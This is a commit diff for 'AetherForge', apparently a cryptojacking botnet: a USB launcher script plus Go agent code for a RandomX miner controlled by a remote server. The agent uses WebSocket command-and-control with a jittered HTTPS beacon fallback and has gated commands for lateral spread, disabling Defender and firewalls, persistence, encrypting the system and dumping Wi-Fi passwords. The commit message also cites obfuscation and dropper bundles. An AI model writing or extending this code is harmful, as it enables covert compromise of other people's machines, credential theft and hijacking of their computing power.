fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

Binary file not shown.

View File

@@ -105,13 +105,16 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: Cloudflare Zero Trust connector starts inside AetherForge.exe when a token is set
:: (Calibrate -^> Cloudflare Tunnel Token, or data\cloudflared-token.txt, or AF_TUNNEL_TOKEN).
:: ----------------------------------------------------------------
:: 5. Detect LAN IP for display
:: ----------------------------------------------------------------
set "SERVER_PORT=8989"
set "CONFIG_FILE=%ROOT%\data\config.json"
if exist "%CONFIG_FILE%" (
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
if not "%%P"=="" set "SERVER_PORT=%%P"
)
)
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
set "LAN_IP=%%I"
goto lan_done
@@ -136,18 +139,37 @@ echo LAN: http://%LAN_IP%:%SERVER_PORT%
echo Data: %ROOT%\data\
echo.
echo Login accounts: admin + comrade ^(passwords below after start^).
echo Cloudflare: paste token in Calibrate or data\cloudflared-token.txt — server starts connector.
echo Cloudflare tunnel starts below ^(LAUNCH + server^).
echo Press Ctrl+C to stop.
echo ================================================================
echo.
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
if exist "%CF_SCRIPT%" (
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%ROOT%"
) else (
echo [Tunnel] WARNING: scripts\usb-start-cloudflared.ps1 missing - repack usb folder.
)
echo.
:: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
:: Launch server
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data"
:: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
set "AF_TUNNEL_EXTERNAL=1"
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
set "EC=!ERRORLEVEL!"
if exist "%ROOT%\data\cloudflared.pid" (
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
taskkill /F /PID %%P >nul 2>nul
)
del "%ROOT%\data\cloudflared.pid" 2>nul
)
taskkill /F /IM cloudflared.exe >nul 2>nul
echo.
if "!EC!"=="0" (
echo [Server] Stopped normally.

View File

@@ -19,10 +19,13 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
}
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
case "tunnel_status", "tunnel_wireguard":
// Always available — read-only or Path Tracer config from server.
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
// No forge gate — always available.
case "mesh_status":
@@ -36,6 +39,10 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
}
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
if c.handleTunnelCommand(action, command, path, data) {
return true
}
ok, reason := c.allowRemoteAction(action)
if !ok {
c.sendCommandResult(action, false, reason)
@@ -82,19 +89,6 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
c.sendCommandResult(action, true, msg)
return true
case "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "subnet_scan":
maxHosts := parsePortArg(command, 64)
out := deploy.ScanLocalSubnet(maxHosts)
@@ -204,7 +198,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
}
parts = append(parts, msg)
}
deploy.RemoveFirewallExclusionWindows(c.cfg)
deploy.RemoveFirewallExclusion(c.cfg)
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
return true

View File

@@ -6,6 +6,7 @@ import (
"fmt"
"io"
"log"
"math/rand"
"net"
"net/http"
"net/url"
@@ -53,6 +54,11 @@ type AgentClient struct {
// spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
// beaconMode is true while commands/results use HTTPS beacon transport.
beaconMode atomic.Bool
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
wsDownSince atomic.Value // stores time.Time
}
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -67,6 +73,15 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
}
func (c *AgentClient) Run() error {
if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() {
age := time.Since(c.cfg.BuiltAt)
limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour
if age >= limit {
log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays)
return nil
}
}
threads := c.cfg.EffectiveThreads()
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
c.pool.Start()
@@ -98,6 +113,7 @@ func (c *AgentClient) Run() error {
if err := c.mesh.Start(); err != nil {
log.Printf("[Mesh] Failed to start: %v", err)
}
defer c.mesh.Stop()
}
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
@@ -118,32 +134,76 @@ func (c *AgentClient) Run() error {
serverURLs := buildServerURLList(c.cfg)
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
urlIdx := 0
backoff := 5 * time.Second
const maxBackoff = 60 * time.Second
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v",
probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK)
urlIdx := 0
backoff, maxBackoff := c.reconnectBackoff()
for {
target := serverURLs[urlIdx%len(serverURLs)]
start := time.Now()
// Restore C2 share handler before connecting (in case Stratum had it).
c.pool.SetShareHandler(c.submitShare)
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
if err := c.beaconOnce(target); err != nil {
log.Printf("[agent] beacon failed on %s: %v", target, err)
c.markWSDownSince()
} else {
c.sleepReconnect(c.beaconInterval())
}
}
if err := c.connectLoop(target); err != nil {
log.Printf("[agent] disconnected from %s: %v", target, err)
c.markWSDownSince()
}
// Advance to next URL so the next reconnect tries a different server
urlIdx++
if time.Since(start) > 10*time.Second {
// Long-lived connection succeeded — reset backoff on the next attempt
backoff = 5 * time.Second
backoff, maxBackoff = c.reconnectBackoff()
}
time.Sleep(backoff)
backoff += 5 * time.Second
c.sleepReconnect(backoff)
backoff += c.reconnectBackoffStep()
if backoff > maxBackoff {
backoff = maxBackoff
}
}
}
func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) {
sec := c.cfg.BeaconIntervalSec
if sec <= 0 {
sec = 5
}
base := time.Duration(sec) * time.Second
max := 60 * time.Second
if base*12 > max {
max = base * 12
}
return base, max
}
func (c *AgentClient) reconnectBackoffStep() time.Duration {
sec := c.cfg.BeaconIntervalSec
if sec <= 0 {
sec = 5
}
return time.Duration(sec) * time.Second
}
func (c *AgentClient) sleepReconnect(d time.Duration) {
jitter := c.cfg.BeaconJitterPct
if jitter > 0 {
if jitter > 100 {
jitter = 100
}
factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0
d = time.Duration(float64(d) * factor)
}
time.Sleep(d)
}
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
func buildServerURLList(cfg config.RuntimeConfig) []string {
seen := map[string]bool{}
@@ -263,6 +323,8 @@ func (c *AgentClient) authenticate() error {
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
MacAddress: primaryMACAddress(),
BuildID: c.cfg.BuildID,
USBSpread: c.cfg.USBSpread,
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -287,7 +349,8 @@ func (c *AgentClient) authenticate() error {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.agentID = resp.AgentID
log.Printf("[agent] authenticated as %s", c.agentID)
c.clearWSDownSince()
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
if installDir, err := c.cfg.InstallDirectory(); err == nil {
_ = deploy.PersistAgentID(installDir, c.agentID)
@@ -549,7 +612,15 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
}
go c.performUpgrade(data)
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
case "bof_execute":
c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety")
default:
if c.handleRegistryCommand(action, path, data) {
return
}
if c.handleFileCommand(action, path) {
return
}
if c.handleReconCommand(action, command) {
return
}
@@ -563,9 +634,56 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
"success": success,
"message": message,
})
if c.beaconMode.Load() {
c.postBeaconResult(payload)
return
}
_ = c.write(Message{Type: "command_result", Payload: payload})
}
func (c *AgentClient) wsDownSinceTime() time.Time {
if v := c.wsDownSince.Load(); v != nil {
if t, ok := v.(time.Time); ok {
return t
}
}
return time.Time{}
}
func (c *AgentClient) markWSDownSince() {
if !c.wsDownSinceTime().IsZero() {
return
}
c.wsDownSince.Store(time.Now())
}
func (c *AgentClient) clearWSDownSince() {
c.wsDownSince.Store(time.Time{})
}
func (c *AgentClient) collectStatsPayload() (StatsPayload, error) {
hps := c.pool.HashesPerSecond()
c.pool.ResetHashCounter()
cpuPct, memPct := c.reporter.Usage()
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
cpuPct = sysCPU
}
c.mu.Lock()
submitted := c.sharesSubmitted
accepted := c.sharesAccepted
c.mu.Unlock()
return StatsPayload{
Hashrate15s: hps,
Hashrate1m: hps,
Hashrate15m: hps,
SharesSubmitted: submitted,
SharesAccepted: accepted,
CPUUsagePct: cpuPct,
MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
}, nil
}
func (c *AgentClient) stopSelf() {
time.Sleep(300 * time.Millisecond)
c.pool.Stop()

View File

@@ -2,11 +2,18 @@ package miner
import (
"encoding/hex"
"errors"
"fmt"
"sync"
"git.gammaspectra.live/P2Pool/go-randomx"
)
var (
ErrEngineNotReady = errors.New("randomx VM not initialized")
ErrBlobTooShort = errors.New("blob shorter than nonce offset")
)
const nonceOffset = 39
const nonceSize = 4
@@ -59,8 +66,11 @@ func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err
e.mu.RLock()
defer e.mu.RUnlock()
if e.vm == nil || len(e.blob) < nonceOffset+nonceSize {
return "", "", nil
if e.vm == nil {
return "", "", ErrEngineNotReady
}
if len(e.blob) < nonceOffset+nonceSize {
return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob))
}
work := append([]byte(nil), e.blob...)